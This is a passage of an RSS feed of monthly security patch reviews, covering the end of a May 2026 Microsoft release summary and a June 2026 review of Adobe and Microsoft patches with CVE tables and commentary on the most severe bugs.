  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40416"><span>CVE-2026-40416</span></a></td>
  <td width="256" class="xl73">Microsoft
  Edge (Chromium-based) for Android Spoofing Vulnerability</td>
  <td class="xl72">Low</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this month’s release, there are quite a few scary-looking bugs (including a CVSS 10!), but there’s no action for the end user as Microsoft has already mitigated these bugs and is just now documenting them. There’s also this month’s crop of Office bugs where the Preview Pane is an attack vector. However, the bug in Office for Android does not have the Preview Pane vector; it’s simple open and own. The bug in the WiFi driver needs a network adjacent attacker. The SharePoint bug requires authentication, but anyone with site privileges has the authentication needed. The bug in SSO Plugin for Jira &amp; Confluence should really be called an authentication bypass, since it allows an unauthenticated attacker to gain access to a system.</p><p class="">Looking at the other code execution bugs, most are of the open and own variety as expected. The bug in Dynamic 365 (On Prem) requires high privileges. The Message Queueing bug requires an adjacent attacker. The bug in SQL Server requires authentication, but as usual, patching won’t be straightforward. Finally, there’s a bug in the kernel that leads to code execution. Most kernel bugs are privilege escalations, but this one could allow code execution if an attacker sends specially crafted NVMe over Fabrics (NVMe‑oF) response messages during the connection handshake process that contains an invalid header length value. Neat.</p><p class="">As usual, the vast majority of the Microsoft release fixes Elevation of Privilege (EoP) bugs. Also as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. There are also a few bugs that just state the attacker could “gain ELEVATED privileges.” How obtuse. The bugs in Azure allow an attacker to access data otherwise hidden from them. The Edge bug allows threat actors to elevate to the privileges of the running application. The bug in Visual Studio allows attackers to get permissions associated with the MCP Server’s managed identity. Finally, there are a couple of sandbox escapes, too, which are always useful.</p><p class="">This month's update includes six Security Feature Bypass vulnerabilities. The most severe is in the Azure SDK for Java (CVSS 9.1). An attacker over the network can bypass the integrity protection provided by authentication tags on encrypted data, effectively manipulating encrypted input in a way that slips past integrity checks during decryption.  Close behind is the bypass affecting the GitHub Copilot integration in Visual Studio Code (CWE-74). This one requires a user interaction, but it allows an attacker to circumvent the path validation safeguards that normally control which files Copilot is permitted to modify. The other Visual Studio Code bypass involves cross-site scripting, improper link resolution, and information exposure triggered when a user opens or views a maliciously crafted notebook.  On the Windows networking side there are two bypasses. The first hits the Windows TCP/IP driver via an authentication bypass using an alternate channel. The other impacts the Windows Filtering Platform through improper access control, allowing a local, low-privileged attacker to bypass FQDN-based network security rules. Finally, there’s a Secure Boot bypass that, you guessed it, bypasses secure boot features.</p><p class="">Moving on to the Information Disclosure bugs fixed this month, we have 15 different CVEs. As usual, the majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The bug in Power Automate could expose data marked “Sensitive” within Power Automate Desktop flows. One of the Word bugs could disclose NLTM hashes. The bug in Edge could disclose your cookies, which seems rude. The bug in Visual Studio could expose file path information. Finally, there’s a bug in Telnet for Windows 11 that leaks information being used by Telnet at the time. I didn’t even realize Windows 11 still had a telnet client.</p><p class="">The May release contains 10 spoofing bugs (plus the ones already addressed by Microsoft). The bug in Azure Machine Learning Notebooks vulnerability requires user interaction, but it could expose info through the Azure ML web interface to the attacker. There’s a cluster of fixes for Microsoft's mobile Office suite on Android. Excel, Word, and PowerPoint for Android all carry spoofing flaws rooted in improper access control. Two Copilot products are also affected by spoofing vulns. The M365 Copilot for Desktop has no details provided. The M365 Copilot for Android variant requires low privileges and producing only limited impact on confidentiality and integrity. Microsoft Teams for Android rounds out the mobile app spoofing bugs. Three Edge bugs close things out, all involving misrepresentation of information in the browser UI. </p><p class="">There are two Tampering bugs in this month’s release. The one in .NET Core allows threat actors to write files to an affected system. The other is in Outlook for iOS and manifests as a command injection bug.</p><p class="">There are eight DoS bugs in the May release, but as always, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting from a practical standpoint are two TCP/IP bugs that allow a low-privilege Hyper-V guest to crash the host. Both are triggered from the adjacent network. On the broader network-exposure side, the ASP.NET Core bug is a straightforward infinite loop condition — an unauthenticated attacker sends a crafted request over the network and the server stops responding.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">Assuming I survive Pwn2Own Berlin (which is looking iffy at the moment), I’ll return on June 9th on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The June 2026 Security Update Review]]></title>
<description><![CDATA[I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a ...]]></description>
<link>https://tsecurity.de/de/3694563/hacking/the-june-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694563/hacking/the-june-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:53 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for June 2026</strong></p><p class="">For June, Adobe released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic. A total of 11 of these CVEs were reported through the ZDI program.</p><p class="">Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/campaign/apsb26-66.html" target="_blank">APSB26-66</a></td>
    <td>Adobe Campaign Classic</td>
    <td>2</td>
    <td>Critical</td>
    <td>10.0</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-64.html" target="_blank">APSB26-64</a></td>
    <td>Adobe ColdFusion</td>
    <td>7</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/acrobat/apsb26-63.html" target="_blank">APSB26-63</a></td>
    <td>Adobe Acrobat Reader</td>
    <td>20</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/aem-forms/apsb26-57.html" target="_blank">APSB26-57</a></td>
    <td>Adobe Experience Manager Forms</td>
    <td>3</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/dreamweaver/apsb26-62.html" target="_blank">APSB26-62</a></td>
    <td>Adobe Dreamweaver</td>
    <td>5</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/formatplugins/apsb26-65.html" target="_blank">APSB26-65</a></td>
    <td>Adobe Format Plugins</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/incopy/apsb26-59.html" target="_blank">APSB26-59</a></td>
    <td>Adobe InCopy</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/indesign/apsb26-58.html" target="_blank">APSB26-58</a></td>
    <td>Adobe InDesign</td>
    <td>12</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d-sampler/apsb26-60.html" target="_blank">APSB26-60</a></td>
    <td>Adobe Substance 3D Sampler</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-61.html" target="_blank">APSB26-61</a></td>
    <td>Content Credentials SDK</td>
    <td>8</td>
    <td>Critical</td>
    <td>7.5</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-56.html" target="_blank">APSB26-56</a></td>
    <td>Adobe Experience Manager</td>
    <td>57</td>
    <td>Important</td>
    <td>5.4</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>11 bulletins</td>
    <td>123</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  









  <p class="">Obviously, the update for Campaign Classic should be on the top of your deployment list if you’re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it’s mostly just cross-site scripting (XSS) bugs.</p><p class=""><strong>Microsoft Patches for June 2026</strong></p><p class="">This month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that’s my count. Microsoft’s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.</p><p class="">One of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.</p><p class="">I’ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW – just a note – the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.</p><p class="">One of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let’s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.</p><p class="">-   <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41091"><strong>CVE-2026-41091</strong></a><strong> - Microsoft Defender Elevation of Privilege Vulnerability<br></strong>Since Microsoft doesn’t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won’t need to take action as Defender updates itself. However, if you don’t have this configured or are in an isolated environment, you’ll need to update to the latest version.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45657"><strong>CVE-2026-45657</strong></a><strong> - Windows Kernel Remote Code Execution Vulnerability<br></strong>This CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup – this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as “Exploitation Less Likely” by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291"><strong>CVE-2026-47291</strong></a><strong> - HTTP.sys Remote Code Execution Vulnerability<br></strong>Our second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as “Exploitation more likely”, so I would definitely check your registry settings.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44815"><strong>CVE-2026-44815</strong></a><strong> - DHCP Client Service Remote Code Execution Vulnerability<br></strong>Here’s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an “authenticated” user. I would err on the side of caution here and believe the CVSS. If that’s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it’s a juicy target. This is another one to test and deploy with haste.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45585"><strong>CVE-2026-45585</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50507"><strong>CVE-2026-50507</strong></a><strong> - Windows BitLocker Security Feature Bypass Vulnerability<br></strong>If you’ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for “YellowKey”, while the other appears to be a fix for “GreenPlasma”. The researcher has promised a “<a href="https://www.theregister.com/security/2026/05/28/microsoft-0-day-feud-escalates-as-researcher-threatens-another-windows-exploit-dump/5248085">bone shattering</a>” drop on June 14, so let’s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.</p><p class=""> Here’s the full list of CVEs released by Microsoft for June 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="new2026-Jun-cvrf2.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="1024">
 <col width="144">
 <col width="256">
 <col width="104" span="6">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">XI</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41091"><span>CVE-2026-41091</span></a></td>
  <td width="256" class="xl68">Microsoft Defender
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl71">Yes</td>
  <td class="xl71">Yes</td>
  <td class="xl70">0</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49160"><span>CVE-2026-49160</span></a></td>
  <td width="256" class="xl68">HTTP.sys Denial of
  Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50507"><span>CVE-2026-50507</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.8</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45586"><span>CVE-2026-45586</span></a></td>
  <td width="256" class="xl68">Windows Collaborative
  Translation Framework (CTFMON) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="91">
  <td class="xl67" height="91"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-10263"><span>CVE-2025-10263 *</span></a></td>
  <td width="256" class="xl68">ARM: CVE-2025-10263
  Completion of affected memory accesses might not be guaranteed by completion
  of a TLBI [kernel]</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48567"><span>CVE-2026-48567</span></a></td>
  <td width="256" class="xl68">Azure HorizonDB<span>  </span>Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">10</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32193"><span>CVE-2026-32193</span></a></td>
  <td width="256" class="xl68">Azure Kubernetes
  Service (AKS) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47644"><span>CVE-2026-47644</span></a></td>
  <td width="256" class="xl68">Copilot Chat
  (Microsoft Edge) Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44815"><span>CVE-2026-44815</span></a></td>
  <td width="256" class="xl68">DHCP Client Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291"><span>CVE-2026-47291</span></a></td>
  <td width="256" class="xl68">HTTP.sys Remote Code
  Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42824"><span>CVE-2026-42824</span></a></td>
  <td width="256" class="xl68">M365 Copilot
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45476"><span>CVE-2026-45476</span></a></td>
  <td width="256" class="xl68">Microsoft Azure
  Network Adapter Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44810"><span>CVE-2026-44810</span></a></td>
  <td width="256" class="xl68">Microsoft
  Cryptographic Services Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48579"><span>CVE-2026-48579</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Online Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47655"><span>CVE-2026-47655</span></a></td>
  <td width="256" class="xl68">Microsoft Graph
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45497"><span>CVE-2026-45497</span></a></td>
  <td width="256" class="xl68">Microsoft M365 Copilot
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45460"><span>CVE-2026-45460</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">4.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45472"><span>CVE-2026-45472</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45474"><span>CVE-2026-45474</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45461"><span>CVE-2026-45461</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45463"><span>CVE-2026-45463</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45456"><span>CVE-2026-45456</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45458"><span>CVE-2026-45458</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47635"><span>CVE-2026-47635</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26142"><span>CVE-2026-26142</span></a></td>
  <td width="256" class="xl68">Nuance PowerScribe
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47289"><span>CVE-2026-47289</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47654"><span>CVE-2026-47654</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48563"><span>CVE-2026-48563</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42992"><span>CVE-2026-42992</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44799"><span>CVE-2026-44799</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44801"><span>CVE-2026-44801</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42985"><span>CVE-2026-42985</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45648"><span>CVE-2026-45648</span></a></td>
  <td width="256" class="xl68">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42987"><span>CVE-2026-42987</span></a></td>
